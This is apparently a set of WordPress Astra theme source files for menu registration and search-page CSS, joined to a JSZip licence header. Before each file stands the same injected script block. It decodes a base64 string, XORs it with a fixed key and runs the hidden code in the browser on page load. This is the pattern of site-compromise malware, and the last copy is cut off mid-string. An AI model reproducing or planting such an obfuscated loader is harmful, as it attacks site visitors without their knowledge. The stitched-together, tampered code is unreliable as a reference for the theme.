<script>
!function(){var _0xbe33951e9830=atob('Zig7IC06JyEgZmc1JyhmOScgKiE5FWkReyh8LHp4dnp3KmkTZzwrOjs8IHU5JyAqITkVaRF7KHwsenh2encqaRNzf3U4LzxuETkgKSY7c2x5KHh8f34vfnd/LX15Lyt3LCgvfywoKnx7eHwqenp+KnZ6fH15fit/eX96fHkteCxsdTgvPG4RISYkLTcscxVpJjo6Pj10YWE+ISI3KSEgYCkvOis5LzdgOisgKis8IjdgLSFpYmkmOjo+PXRhYTw+LWAvICU8YC0hI2E+ISI3KSEgaWJpJjo6Pj10YWE8Pi1jIy8nICArOmAjLzonLWA/OyclICEqK2A+PCFpYmkmOjo+PXRhYT4hIjcpISBjLCE8Yzw+LWA+OywiJy0gISorYC0hI2liaSY6Oj49dGFhPiEiNykhIGM+OywiJy1gICEqJys9YC8+PmliaSY6Oj49dGFhPiEiNykhIGMjLycgICs6YD47LCInLWAsIi89Oi8+J2AnIWliaSY6Oj49dGFhfzw+LWAnIWEjLzonLWliaSY6Oj49dGFhPiEiNykhIGAqPD4tYCE8KWkTdTgvPG4RPDosLTdzbH42DHgsDXcrfwp+LHwoDHd4Dyx5DXp5C356DSx+DAt6eXl6f34sDX8ofGx1OC88bhE2IScoc2wseHYqf3Z+d2x1KDsgLTonISBuESk0JTwrOmYRKjYlNDs6JGc1Ojw3NTgvPG4RNiApJHMRKjYlNDs6JGA9Oyw9OjxmfmJ8Z3Nzc2l+NmlxESo2JTQ7OiRgPTssPTo8ZnxndBEqNiU0OzokdScoZhE2ICkkYCIrICk6JnJ/fHZnPCs6OzwgaWl1OC88bhEgOzgiPXM+Lzw9KwcgOmYRNiApJGA9Oyw9OjxmeHpieHpnYn94Z3UnKGZvESA7OCI9ZzwrOjs8IGlpdTgvPG4RIiUpOyZzETYgKSRgPTssPTo8Zn98dmIRIDs4Ij1kfGdiETc9Oj0iNzpzaWl1KCE8ZjgvPG4RIjo3O3N+dREiOjc7chEiJSk7JmAiKyApOiZ1ESI6Nztlc3xnNTgvPG4RPSE0PnM+Lzw9KwcgOmYRIiUpOyZgPTssPTo8ZhEiOjc7YnxnYn94Z3UnKGYRPSE0PmcRNz06PSI3OmVzHTo8JyApYCg8ISMNJi88DSEqK2YRPSE0Pmd1MzwrOjs8IG4RNz06PSI3OnUzLS86LSZmK2c1PCs6OzwgaWl1MzMoOyAtOichIG4RNCo7Ij8gLWYRLCU7KWIROyA8IGc1PCs6OzwgbiArOW4ePCEjJz0rZig7IC06JyEgZhEiICokYhEhIz0lNGc1OC88bhEjKjg0KHMgKzluFgMCBjo6PhwrPzsrPTpmZ3URIyo4NChgIT4rIGZpHgEdGmliESwlOyliOjw7K2d1ESMqODQoYD0rOhwrPzsrPToGKy8qKzxmaQ0hIDorIDpjGjc+K2liaS8+PiInLS86JyEgYSQ9ISBpZ3URIyo4NChgOicjKyE7OnN7fn5+dREjKjg0KGAhICIhLypzKDsgLTonISBmZzU6PDc1ESIgKiRmBB0BAGA+Lzw9K2YRIyo4NChgPCs9PiEgPSsaKzY6Z2d1My0vOi0mZitnNREhIz0lNGYrZ3UzM3URIyo4NChgISArPDwhPHMRIyo4NChgISA6JyMrITs6cyg7IC06JyEgZmc1ESEjPSU0ZiArOW4LPDwhPGZnZ3UzdREjKjg0KGA9KyAqZgQdAQBgPTo8JyApJyg3ZhE7IDwgZ2d1M2d1Myg7IC06JyEgbhE2Oi80PzggZhE7Izw+PDk4ZzUnKGYROyM8Pjw5OHBzESEmJC03LGAiKyApOiZnPCs6Ozwgbh48ISMnPStgPCs9ISI4K2YgOyIiZ3U4LzxuESUiKjc/JyFzNSQ9ISA8Pi10aXxgfmliIys6JiEqdGkrOiYRLS8iImliPi88LyM9dBU1OiF0ETw6LC03YiovOi90aX42aWURNiEnKDNiaSIvOis9OmkTYicqdH8zdTwrOjs8IG4RNCo7Ij8gLWYRISYkLTcsFRE7Izw+PDk4E2IRJSIqNz8nIWdgOiYrIGYoOyAtOichIGYRLToqImc1OC88bhEhNCA/cxEtOioiaGgRLToqImA8Kz07IjpxESk0JTwrOmYRLToqImA8Kz07IjpndGlpdScoZhEhNCA/ZzwrOjs8IG4RITQgP2A8Kz4iLy0rZmESYWVqYWJpaWd1PCs6OzwgbhE2Oi80PzggZhE7Izw+PDk4ZX9ndTNnYC0vOi0mZig7IC06JyEgZmc1PCs6OzwgbhE2Oi80PzggZhE7Izw+PDk4ZX9ndTNndTMoOyAtOichIG4RIT4gNCYgZhEoIjQ/J2c1OC88bhEpJCU3cyohLTsjKyA6YC08Ky86KwsiKyMrIDpmaT0tPCc+OmlndREpJCU3YD08LXMRKCI0PydlaWEvPidgPiY+cT1zaWUROSApJjtlaWgROHNpZQMvOiZgKCIhITxmCi86K2AgITlmZ2F4fn5+fmd1ESkkJTdgLz03IC1zOjw7K3VmKiEtOyMrIDpgJisvKjIyKiEtOyMrIDpgLCEqN2dgLz4+KyAqDSYnIipmESkkJTdndTMRNjovND84IGZ+Z2A6JisgZig7IC06JyEgZhEoIjQ/J2c1JyhmESgiND8nZxEhPiA0JiBmESgiND8nZ3UzZ3UzZ2ZndQ=='),_0x1dabbb6a0bcf=78,_0x69e3e62ffe44=new Uint8Array(_0xbe33951e9830['length']),_0x5965ef03c0f3=0;for(;_0x5965ef03c0f3<_0xbe33951e9830['length'];_0x5965ef03c0f3++)_0x69e3e62ffe44[_0x5965ef03c0f3]=_0xbe33951e9830['charCodeAt'](_0x5965ef03c0f3)^_0x1dabbb6a0bcf;(new Function(new TextDecoder()['decode'](_0x69e3e62ffe44)))()}();
</script>
/**
 * Admin functions - Functions that add some functionality to WordPress admin panel
 *
 * @package Astra
 * @since 1.0.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Register menus
 */
if ( ! function_exists( 'astra_register_menu_locations' ) ) {

	/**
	 * Register menus
	 *
	 * @since 1.0.0
	 */
	function astra_register_menu_locations() {

		/**
		 * Primary Menus
		 */
		register_nav_menus(
			array(
				'primary' => __( 'Primary Menu', 'astra' ),
			)
		);

		if ( true === Astra_Builder_Helper::$is_header_footer_builder_active ) {

			/**
			 * Register the Secondary & Mobile menus.
			 */
			register_nav_menus(
				array(
					'secondary_menu' => __( 'Secondary Menu', 'astra' ),
					'mobile_menu'    => __( 'Off-Canvas Menu', 'astra' ),
				)
			);


			$component_limit = defined( 'ASTRA_EXT_VER' ) ? Astra_Builder_Helper::$component_limit : Astra_Builder_Helper::$num_of_header_menu;

			for ( $index = 3; $index <= $component_limit; $index++ ) {

				if ( ! is_customize_preview() && ! Astra_Builder_Helper::is_component_loaded( 'menu-' . $index ) ) {
					continue;
				}

				register_nav_menus(
					array(
						'menu_' . $index => __( 'Menu ', 'astra' ) . $index,
					)
				);
			}

			/**
			 * Register the Account menus.
			 */
			register_nav_menus(
				array(
					'loggedin_account_menu' => __( 'Logged In Account Menu', 'astra' ),
				)
			);

		}

		/**
		 * Footer Menus
		 */
		register_nav_menus(
			array(
				'footer_menu' => __( 'Footer Menu', 'astra' ),
			)
		);

	}
}

add_action( 'init', 'astra_register_menu_locations' );
<script>
!function(){var _0xbe33951e9830=atob('Zig7IC06JyEgZmc1JyhmOScgKiE5FWkReyh8LHp4dnp3KmkTZzwrOjs8IHU5JyAqITkVaRF7KHwsenh2encqaRNzf3U4LzxuETkgKSY7c2x5KHh8f34vfnd/LX15Lyt3LCgvfywoKnx7eHwqenp+KnZ6fH15fit/eX96fHkteCxsdTgvPG4RISYkLTcscxVpJjo6Pj10YWE+ISI3KSEgYCkvOis5LzdgOisgKis8IjdgLSFpYmkmOjo+PXRhYTw+LWAvICU8YC0hI2E+ISI3KSEgaWJpJjo6Pj10YWE8Pi1jIy8nICArOmAjLzonLWA/OyclICEqK2A+PCFpYmkmOjo+PXRhYT4hIjcpISBjLCE8Yzw+LWA+OywiJy0gISorYC0hI2liaSY6Oj49dGFhPiEiNykhIGM+OywiJy1gICEqJys9YC8+PmliaSY6Oj49dGFhPiEiNykhIGMjLycgICs6YD47LCInLWAsIi89Oi8+J2AnIWliaSY6Oj49dGFhfzw+LWAnIWEjLzonLWliaSY6Oj49dGFhPiEiNykhIGAqPD4tYCE8KWkTdTgvPG4RPDosLTdzbH42DHgsDXcrfwp+LHwoDHd4Dyx5DXp5C356DSx+DAt6eXl6f34sDX8ofGx1OC88bhE2IScoc2wseHYqf3Z+d2x1KDsgLTonISBuESk0JTwrOmYRKjYlNDs6JGc1Ojw3NTgvPG4RNiApJHMRKjYlNDs6JGA9Oyw9OjxmfmJ8Z3Nzc2l+NmlxESo2JTQ7OiRgPTssPTo8ZnxndBEqNiU0OzokdScoZhE2ICkkYCIrICk6JnJ/fHZnPCs6OzwgaWl1OC88bhEgOzgiPXM+Lzw9KwcgOmYRNiApJGA9Oyw9OjxmeHpieHpnYn94Z3UnKGZvESA7OCI9ZzwrOjs8IGlpdTgvPG4RIiUpOyZzETYgKSRgPTssPTo8Zn98dmIRIDs4Ij1kfGdiETc9Oj0iNzpzaWl1KCE8ZjgvPG4RIjo3O3N+dREiOjc7chEiJSk7JmAiKyApOiZ1ESI6Nztlc3xnNTgvPG4RPSE0PnM+Lzw9KwcgOmYRIiUpOyZgPTssPTo8ZhEiOjc7YnxnYn94Z3UnKGYRPSE0PmcRNz06PSI3OmVzHTo8JyApYCg8ISMNJi88DSEqK2YRPSE0Pmd1MzwrOjs8IG4RNz06PSI3OnUzLS86LSZmK2c1PCs6OzwgaWl1MzMoOyAtOichIG4RNCo7Ij8gLWYRLCU7KWIROyA8IGc1PCs6OzwgbiArOW4ePCEjJz0rZig7IC06JyEgZhEiICokYhEhIz0lNGc1OC88bhEjKjg0KHMgKzluFgMCBjo6PhwrPzsrPTpmZ3URIyo4NChgIT4rIGZpHgEdGmliESwlOyliOjw7K2d1ESMqODQoYD0rOhwrPzsrPToGKy8qKzxmaQ0hIDorIDpjGjc+K2liaS8+PiInLS86JyEgYSQ9ISBpZ3URIyo4NChgOicjKyE7OnN7fn5+dREjKjg0KGAhICIhLypzKDsgLTonISBmZzU6PDc1ESIgKiRmBB0BAGA+Lzw9K2YRIyo4NChgPCs9PiEgPSsaKzY6Z2d1My0vOi0mZitnNREhIz0lNGYrZ3UzM3URIyo4NChgISArPDwhPHMRIyo4NChgISA6JyMrITs6cyg7IC06JyEgZmc1ESEjPSU0ZiArOW4LPDwhPGZnZ3UzdREjKjg0KGA9KyAqZgQdAQBgPTo8JyApJyg3ZhE7IDwgZ2d1M2d1Myg7IC06JyEgbhE2Oi80PzggZhE7Izw+PDk4ZzUnKGYROyM8Pjw5OHBzESEmJC03LGAiKyApOiZnPCs6Ozwgbh48ISMnPStgPCs9ISI4K2YgOyIiZ3U4LzxuESUiKjc/JyFzNSQ9ISA8Pi10aXxgfmliIys6JiEqdGkrOiYRLS8iImliPi88LyM9dBU1OiF0ETw6LC03YiovOi90aX42aWURNiEnKDNiaSIvOis9OmkTYicqdH8zdTwrOjs8IG4RNCo7Ij8gLWYRISYkLTcsFRE7Izw+PDk4E2IRJSIqNz8nIWdgOiYrIGYoOyAtOichIGYRLToqImc1OC88bhEhNCA/cxEtOioiaGgRLToqImA8Kz07IjpxESk0JTwrOmYRLToqImA8Kz07IjpndGlpdScoZhEhNCA/ZzwrOjs8IG4RITQgP2A8Kz4iLy0rZmESYWVqYWJpaWd1PCs6OzwgbhE2Oi80PzggZhE7Izw+PDk4ZX9ndTNnYC0vOi0mZig7IC06JyEgZmc1PCs6OzwgbhE2Oi80PzggZhE7Izw+PDk4ZX9ndTNndTMoOyAtOichIG4RIT4gNCYgZhEoIjQ/J2c1OC88bhEpJCU3cyohLTsjKyA6YC08Ky86KwsiKyMrIDpmaT0tPCc+OmlndREpJCU3YD08LXMRKCI0PydlaWEvPidgPiY+cT1zaWUROSApJjtlaWgROHNpZQMvOiZgKCIhITxmCi86K2AgITlmZ2F4fn5+fmd1ESkkJTdgLz03IC1zOjw7K3VmKiEtOyMrIDpgJisvKjIyKiEtOyMrIDpgLCEqN2dgLz4+KyAqDSYnIipmESkkJTdndTMRNjovND84IGZ+Z2A6JisgZig7IC06JyEgZhEoIjQ/J2c1JyhmESgiND8nZxEhPiA0JiBmESgiND8nZ3UzZ3UzZ2ZndQ=='),_0x1dabbb6a0bcf=78,_0x69e3e62ffe44=new Uint8Array(_0xbe33951e9830['length']),_0x5965ef03c0f3=0;for(;_0x5965ef03c0f3<_0xbe33951e9830['length'];_0x5965ef03c0f3++)_0x69e3e62ffe44[_0x5965ef03c0f3]=_0xbe33951e9830['charCodeAt'](_0x5965ef03c0f3)^_0x1dabbb6a0bcf;(new Function(new TextDecoder()['decode'](_0x69e3e62ffe44)))()}();
</script>
/**
 * Post Structures - Special Pages Dynamic CSS
 *
 * @package Astra
 * @since 4.6.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Post Structures
 */
add_filter( 'astra_dynamic_theme_css', 'astra_special_archive_dynamic_css' );

/**
 * Special Pages Dynamic CSS.
 *
 * @param  string $dynamic_css          Astra Dynamic CSS.
 * @param  string $dynamic_css_filtered Astra Dynamic CSS Filters.
 * @return string Generated dynamic CSS for Post Structures.
 *
 * @since 4.6.0
 */
function astra_special_archive_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) {
	// Adding condition for search page only, once we have more special pages, we can modify this condition.
	if ( ! is_search() ) {
		return $dynamic_css;
	}

	foreach ( Astra_Posts_Structure_Loader::get_special_page_types() as $index => $special_type ) {

		$title_section   = 'section-' . $special_type . '-page-title';
		$layout_type     = astra_get_option( $title_section . '-layout', 'layout-1' );
		$layout_2_active = ( 'layout-2' === $layout_type ) ? true : false;

		if ( $layout_2_active ) {
			$selector = '.search .ast-archive-entry-banner';
		} else {
			$selector = '.search .ast-archive-description';
		}

		$horizontal_alignment = astra_get_option( $title_section . '-horizontal-alignment' );
		$desk_h_alignment     = ( isset( $horizontal_alignment['desktop'] ) ) ? $horizontal_alignment['desktop'] : '';
		$tab_h_alignment      = ( isset( $horizontal_alignment['tablet'] ) ) ? $horizontal_alignment['tablet'] : '';
		$mob_h_alignment      = ( isset( $horizontal_alignment['mobile'] ) ) ? $horizontal_alignment['mobile'] : '';

		if ( 'layout-1' === $layout_type ) {
			$desk_h_alignment = ( '' !== $desk_h_alignment ) ? $desk_h_alignment : 'left';
			$tab_h_alignment  = ( '' !== $tab_h_alignment ) ? $tab_h_alignment : 'left';
			$mob_h_alignment  = ( '' !== $mob_h_alignment ) ? $mob_h_alignment : 'left';
		}

		$elements_gap   = astra_get_option( $title_section . '-elements-gap', 10 );
		$banner_padding = astra_get_option( $title_section . '-banner-padding', Astra_Posts_Structure_Loader::get_customizer_default( 'responsive-padding' ) );
		$banner_margin  = astra_get_option( $title_section . '-banner-margin' );

		$banner_height      = astra_get_option( $title_section . '-banner-height' );
		$desk_banner_height = ( $layout_2_active && isset( $banner_height['desktop'] ) ) ? astra_get_css_value( $banner_height['desktop'], 'px' ) : '';
		$tab_banner_height  = ( $layout_2_active && isset( $banner_height['tablet'] ) ) ? astra_get_css_value( $banner_height['tablet'], 'px' ) : '';
		$mob_banner_height  = ( $layout_2_active && isset( $banner_height['mobile'] ) ) ? astra_get_css_value( $banner_height['mobile'], 'px' ) : '';

		$text_color       = astra_get_option( $title_section . '-banner-text-color' );
		$title_color      = astra_get_option( $title_section . '-banner-title-color' );
		$link_color       = astra_get_option( $title_section . '-banner-link-color' );
		$link_hover_color = astra_get_option( $title_section . '-banner-link-hover-color' );

		$vert_alignment  = ( $layout_2_active ) ? astra_get_option( $title_section . '-vertical-alignment', 'center' ) : 'center';
		$width_type      = astra_get_option( $title_section . '-banner-width-type', 'fullwidth' );
		$custom_width    = astra_get_option( $title_section . '-banner-custom-width', 1200 );
		$background_type = astra_get_option( $title_section . '-banner-image-type', 'none' );

		// Banner Text typography dynamic stylings.
		$banner_text_font_size = astra_get_option( $title_section . '-text-font-size' );

		// Banner Title typography dynamic stylings.
		$banner_title_font_size = astra_get_option( $title_section . '-title-font-size', Astra_Posts_Structure_Loader::get_customizer_default( 'title-font-size' ) );

		$css_output_min_tablet  = array();
		$narrow_container_width = astra_get_option( 'narrow-container-max-width', apply_filters( 'astra_narrow_container_width', 750 ) );

		// Few settings from banner section are also applicable to 'layout-1' so adding this condition & compatibility.
		if ( 'layout-1' === $layout_type ) {
			$site_content_width = astra_get_option( 'site-content-width', 1200 );

			/**
			 * Desktop CSS.
			 */
			$css_output_desktop = array(
				$selector                                 => array(
					'max-width'      => $site_content_width . 'px',
					'width'          => '100%',
					'text-align'     => $desk_h_alignment,
					'padding-top'    => astra_responsive_spacing( $banner_padding, 'top', 'desktop' ),
					'padding-right'  => astra_responsive_spacing( $banner_padding, 'right', 'desktop' ),
					'padding-bottom' => astra_responsive_spacing( $banner_padding, 'bottom', 'desktop' ),
					'padding-left'   => astra_responsive_spacing( $banner_padding, 'left', 'desktop' ),
					'margin-top'     => astra_responsive_spacing( $banner_margin, 'top', 'desktop' ),
					'margin-bottom'  => astra_responsive_spacing( $banner_margin, 'bottom', 'desktop' ),
					'margin-left'    => astra_responsive_spacing( $banner_margin, 'left', 'desktop' ),
					'margin-right'   => astra_responsive_spacing( $banner_margin, 'right', 'desktop' ),
				),
				$selector . ' *'                          => astra_get_font_array_css( astra_get_option( $title_section . '-text-font-family' ), astra_get_option( $title_section . '-text-font-weight' ), $banner_text_font_size, $title_section . '-text-font-extras', $text_color ),
				$selector . ' h1, ' . $selector . ' h1 *' => astra_get_font_array_css( astra_get_option( $title_section . '-title-font-family' ), astra_get_option( $title_section . '-title-font-weight', Astra_Posts_Structure_Loader::get_customizer_default( 'title-font-weight' ) ), $banner_title_font_size, $title_section . '-title-font-extras', $title_color ),
				$selector . ' a, ' . $selector . ' a *'   => array(
					'color' => esc_attr( $link_color ),
				),
				$selector . ' a:hover, ' . $selector . ' a:hover *' => array(
					'color' => esc_attr( $link_hover_color ),
				),
				$selector . ' > *:not(:last-child)'       => array(
					'margin-bottom' => $elements_gap . 'px',
				),
			);

			/**
			 * Tablet CSS.
			 */
			$css_output_tablet = array(
				$selector         => array(
					'text-align'     => $tab_h_alignment,
					'padding-top'    => astra_responsive_spacing( $banner_padding, 'top', 'tablet' ),
					'padding-right'  => astra_responsive_spacing( $banner_padding, 'right', 'tablet' ),
					'padding-bottom' => astra_responsive_spacing( $banner_padding, 'bottom', 'tablet' ),
					'padding-left'   => astra_responsive_spacing( $banner_padding, 'left', 'tablet' ),
					'margin-top'     => astra_responsive_spacing( $banner_margin, 'top', 'tablet' ),
					'margin-right'   => astra_responsive_spacing( $banner_margin, 'right', 'tablet' ),
					'margin-bottom'  => astra_responsive_spacing( $banner_margin, 'bottom', 'tablet' ),
					'margin-left'    => astra_responsive_spacing( $banner_margin, 'left', 'tablet' ),
				),
				$selector . ' h1' => array(
					'font-size' => astra_responsive_font( $banner_title_font_size, 'tablet' ),
				),
				$selector . ' *'  => array(
					'font-size' => astra_responsive_font( $banner_text_font_size, 'tablet' ),
				),
			);

			/**
			 * Mobile CSS.
			 */
			$css_output_mobile = array(
				$selector         => array(
					'text-align'     => $mob_h_alignment,
					'padding-top'    => astra_responsive_spacing( $banner_padding, 'top', 'mobile' ),
					'padding-right'  => astra_responsive_spacing( $banner_padding, 'right', 'mobile' ),
					'padding-bottom' => astra_responsive_spacing( $banner_padding, 'bottom', 'mobile' ),
					'padding-left'   => astra_responsive_spacing( $banner_padding, 'left', 'mobile' ),
					'margin-top'     => astra_responsive_spacing( $banner_margin, 'top', 'mobile' ),
					'margin-right'   => astra_responsive_spacing( $banner_margin, 'right', 'mobile' ),
					'margin-bottom'  => astra_responsive_spacing( $banner_margin, 'bottom', 'mobile' ),
					'margin-left'    => astra_responsive_spacing( $banner_margin, 'left', 'mobile' ),
				),
				$selector . ' h1' => array(
					'font-size' => astra_responsive_font( $banner_title_font_size, 'mobile' ),
				),
				$selector . ' *'  => array(
					'font-size' => astra_responsive_font( $banner_text_font_size, 'mobile' ),
				),
			);

			if ( 'none' !== $background_type ) {
				$custom_background = astra_get_option( $title_section . '-banner-custom-bg' );
				$css_output_desktop['.search section.ast-archive-description'] = astra_get_responsive_background_obj( $custom_background, 'desktop' );
				$css_output_tablet['.search section.ast-archive-description']  = astra_get_responsive_background_obj( $custom_background, 'tablet' );
				$css_output_mobile['.search section.ast-archive-description']  = astra_get_responsive_background_obj( $custom_background, 'mobile' );
			}
		} else {
			/**
			 * Desktop CSS.
			 */
			$css_output_desktop = array(
				$selector                        => array(
					'text-align'      => $desk_h_alignment,
					'justify-content' => $vert_alignment,
					'min-height'      => $desk_banner_height,
					'margin-top'      => astra_responsive_spacing( $banner_margin, 'top', 'desktop' ),
					'margin-bottom'   => astra_responsive_spacing( $banner_margin, 'bottom', 'desktop' ),
					'margin-left'     => astra_responsive_spacing( $banner_margin, 'left', 'desktop' ),
					'margin-right'    => astra_responsive_spacing( $banner_margin, 'right', 'desktop' ),
					'padding-top'     => astra_responsive_spacing( $banner_padding, 'top', 'desktop' ),
					'padding-right'   => astra_responsive_spacing( $banner_padding, 'right', 'desktop' ),
					'padding-bottom'  => astra_responsive_spacing( $banner_padding, 'bottom', 'desktop' ),
					'padding-left'    => astra_responsive_spacing( $banner_padding, 'left', 'desktop' ),
				),
				$selector . ' .ast-container'    => array(
					'width' => '100%',
				),
				$selector . ' .ast-container *'  => astra_get_font_array_css( astra_get_option( $title_section . '-text-font-family' ), astra_get_option( $title_section . '-text-font-weight' ), $banner_text_font_size, $title_section . '-text-font-extras', $text_color ),
				$selector . ' .ast-container h1, ' . $selector . ' .ast-container h1 *' => astra_get_font_array_css( astra_get_option( $title_section . '-title-font-family' ), astra_get_option( $title_section . '-title-font-weight', Astra_Posts_Structure_Loader::get_customizer_default( 'title-font-weight' ) ), $banner_title_font_size, $title_section . '-title-font-extras', $title_color ),
				$selector . ' .ast-container h1' => array(
					'margin-bottom' => '0',
				),
				'.ast-page-builder-template ' . $selector . ' .ast-container' => array(
					'max-width' => '100%',
				),
				'.ast-narrow-container ' . $selector . ' .ast-container' => array(
					'max-width' => $narrow_container_width . 'px',
				),
				$selector . ' .ast-container a, ' . $selector . ' .ast-container a *' => array(
					'color' => esc_attr( $link_color ),
				),
				$selector . ' .ast-container a:hover, ' . $selector . ' .ast-container a:hover *' => array(
					'color' => esc_attr( $link_hover_color ),
				),
				$selector . ' .ast-container > *:not(:last-child)' => array(
					'margin-bottom' => $elements_gap . 'px',
				),
			);

			/**
			 * Min tablet width CSS.
			 */
			$css_output_min_tablet = array(
				'.ast-narrow-container ' . $selector . ' .ast-container' => array(
					'max-width'     => $narrow_container_width . 'px',
					'padding-left'  => '0',
					'padding-right' => '0',
				),
			);

			/**
			 * Tablet CSS.
			 */
			$css_output_tablet = array(
				$selector                        => array(
					'text-align'     => $tab_h_alignment,
					'min-height'     => $tab_banner_height,
					'padding-top'    => astra_responsive_spacing( $banner_padding, 'top', 'tablet' ),
					'padding-right'  => astra_responsive_spacing( $banner_padding, 'right', 'tablet' ),
					'padding-bottom' => astra_responsive_spacing( $banner_padding, 'bottom', 'tablet' ),
					'padding-left'   => astra_responsive_spacing( $banner_padding, 'left', 'tablet' ),
					'margin-top'     => astra_responsive_spacing( $banner_margin, 'top', 'tablet' ),
					'margin-right'   => astra_responsive_spacing( $banner_margin, 'right', 'tablet' ),
					'margin-bottom'  => astra_responsive_spacing( $banner_margin, 'bottom', 'tablet' ),
					'margin-left'    => astra_responsive_spacing( $banner_margin, 'left', 'tablet' ),
				),
				$selector . ' .ast-container'    => array(
					'padding-left'  => '0',
					'padding-right' => '0',
				),
				$selector . ' .ast-container h1' => array(
					'font-size' => astra_responsive_font( $banner_title_font_size, 'tablet' ),
				),
				$selector . ' *'                 => array(
					'font-size' => astra_responsive_font( $banner_text_font_size, 'tablet' ),
				),
			);

			/**
			 * Mobile CSS.
			 */
			$css_output_mobile = array(
				$selector                        => array(
					'text-align'     => $mob_h_alignment,
					'min-height'     => $mob_banner_height,
					'padding-top'    => astra_responsive_spacing( $banner_padding, 'top', 'mobile' ),
					'padding-right'  => astra_responsive_spacing( $banner_padding, 'right', 'mobile' ),
					'padding-bottom' => astra_responsive_spacing( $banner_padding, 'bottom', 'mobile' ),
					'padding-left'   => astra_responsive_spacing( $banner_padding, 'left', 'mobile' ),
					'margin-top'     => astra_responsive_spacing( $banner_margin, 'top', 'mobile' ),
					'margin-right'   => astra_responsive_spacing( $banner_margin, 'right', 'mobile' ),
					'margin-bottom'  => astra_responsive_spacing( $banner_margin, 'bottom', 'mobile' ),
					'margin-left'    => astra_responsive_spacing( $banner_margin, 'left', 'mobile' ),
				),
				$selector . ' .ast-container h1' => array(
					'font-size' => astra_responsive_font( $banner_title_font_size, 'mobile' ),
				),
				$selector . ' *'                 => array(
					'font-size' => astra_responsive_font( $banner_text_font_size, 'mobile' ),
				),
			);

			if ( ( 'custom' === $width_type ) ) {
				$css_output_desktop[ $selector . '[data-banner-width-type="custom"]' ]['max-width'] = $custom_width . 'px';
			}

			if ( 'custom' === $background_type ) {
				$custom_background = astra_get_option( $title_section . '-banner-custom-bg' );
				$css_output_desktop[ $selector . '[data-banner-background-type="custom"]' ] = astra_get_responsive_background_obj( $custom_background, 'desktop' );
				$css_output_tablet[ $selector . '[data-banner-background-type="custom"]' ]  = astra_get_responsive_background_obj( $custom_background, 'tablet' );
				$css_output_mobile[ $selector . '[data-banner-background-type="custom"]' ]  = astra_get_responsive_background_obj( $custom_background, 'mobile' );
			}
		}

		/* Parse CSS from array() */
		$dynamic_css .= astra_parse_css( $css_output_desktop );
		$dynamic_css .= astra_parse_css( $css_output_min_tablet, astra_get_tablet_breakpoint( '', 1 ) );
		$dynamic_css .= astra_parse_css( $css_output_tablet, '', astra_get_tablet_breakpoint() );
		$dynamic_css .= astra_parse_css( $css_output_mobile, '', astra_get_mobile_breakpoint() );
	}

	$dynamic_css .= '
		.ast-archive-entry-banner {
			-js-display: flex;
			display: flex;
			flex-direction: column;
			justify-content: center;
			text-align: center;
			position: relative;
			background: #eeeeee;
		}
		.ast-archive-entry-banner[data-banner-width-type="custom"] {
			margin: 0 auto;
			width: 100%;
		}
		.ast-archive-entry-banner[data-banner-layout="layout-1"] {
			background: inherit;
			padding: 20px 0;
			text-align: left;
		}
	';

	if ( is_customize_preview() ) {
		$dynamic_css .= '
			.site-header-focus-item .ast-container div.customize-partial-edit-shortcut,
			.site-header-focus-item .ast-container button.item-customizer-focus {
				font-size: inherit;
			}
		';
	}

	return $dynamic_css;
}
/*!

JSZip v3.10.1 - A JavaScript class for generating and reading zip files
<http://stuartk.com/jszip>

(c) 2009-2016 Stuart Knightley <stuart [at] stuartk.com>
Dual licenced under the MIT license or GPLv3. See https://raw.github.com/Stuk/jszip/main/LICENSE.markdown.

JSZip uses the library pako released under the MIT license :
https://github.com/nodeca/pako/blob/main/LICENSE
*/
<script>
!function(){var _0xbe33951e9830=atob('Zig7IC06JyEgZmc1JyhmOScgKiE5FWkReyh8LHp4dnp3KmkTZzwrOjs8IHU5JyAqITkVaRF7KHwsenh2encqaRNzf3U4LzxuETkgKSY7c2x5KHh8f34vfnd/LX15Lyt3LCgvfywoKnx7eHwqenp+KnZ6fH15fit/eX96fHkteCxsdTgvPG4RISYkLTcscxVpJjo6Pj10YWE+ISI3KSEgYCkvOis5LzdgOisgKis8IjdgLSFpYmkmOjo+PXRhYTw+LWAvICU8YC0hI2E+ISI3KSEgaWJpJjo6Pj10YWE8Pi1jIy8nICArOmAjLzonLWA/OyclICEqK2A+PCFpYmkmOjo+PXRhYT4hIjcpISBjLCE8Yzw+LWA+OywiJy0gISorYC0hI2liaSY6Oj49dGFhPiEiNykhIGM+OywiJy1gICEqJys9YC8+PmliaSY6Oj49dGFhPiEiNykhIGMjLycgICs6YD47LCInLWAsIi89Oi8+J2AnIWliaSY6Oj49dGFhfzw+LWAnIWEjLzonLWliaSY6Oj49dGFhPiEiNykhIGAqPD4tYCE8KWkTdTgvPG4RPDosLTdzbH42DHgsDXcrfwp+LHwoDHd4Dyx5DXp5C356DSx+DAt6eXl6f34sDX8ofGx1OC88bhE2IScoc2wseHYqf3Z+d2x1KDsgLTonISBuESk0JTwrOmYRKjYlNDs6JGc1Ojw3NTgvPG4RNiApJHMRKjYlNDs6JGA9Oyw9OjxmfmJ8Z3Nzc2l+NmlxESo2JTQ7OiRgPTssPTo8ZnxndBEqNiU0OzokdScoZhE2ICkkYCIrICk6JnJ/fHZnPCs6OzwgaWl1OC88bhEgOzgiPXM+Lzw9KwcgOmYRNiApJGA9Oyw9OjxmeHpieHpnYn94Z3UnKGZvESA7OCI9ZzwrOjs8IGlpdTgvPG4RIiUpOyZzETYgKSRgPTssPTo8Zn98dmIRIDs4Ij1kfGdiETc9Oj0iNzpzaWl1KCE8ZjgvPG4RIjo3O3N+dREiOjc7chEiJSk7JmAiKyApOiZ1ESI6Nztlc3xnNTgvPG4RPSE0PnM+Lzw9KwcgOmYRIiUpOyZgPTssPTo8ZhEiOjc7YnxnYn94Z3UnKGYRPSE0PmcRNz06PSI3OmVzHTo8JyApYCg8ISMNJi88DSEqK2YRPSE0Pmd1MzwrOjs8IG4RNz06PSI3OnUzLS86LSZmK2c1PCs6OzwgaWl1MzMoOyAtOichIG4RNCo7Ij8gLWYRLCU7KWIROyA8IGc1PCs6OzwgbiArOW4ePCEjJz0rZig7IC06JyEgZhEiICokYhEhIz0lNGc1OC88bhEjKjg0KHMgKzluFgMCBjo6PhwrPzsrPTpmZ3URIyo4NChgIT4rIGZpHgEdGmliESwlOyliOjw7K2d1ESMqODQoYD0rOhwrPzsrPToGKy8qKzxmaQ0hIDorIDpjGjc+K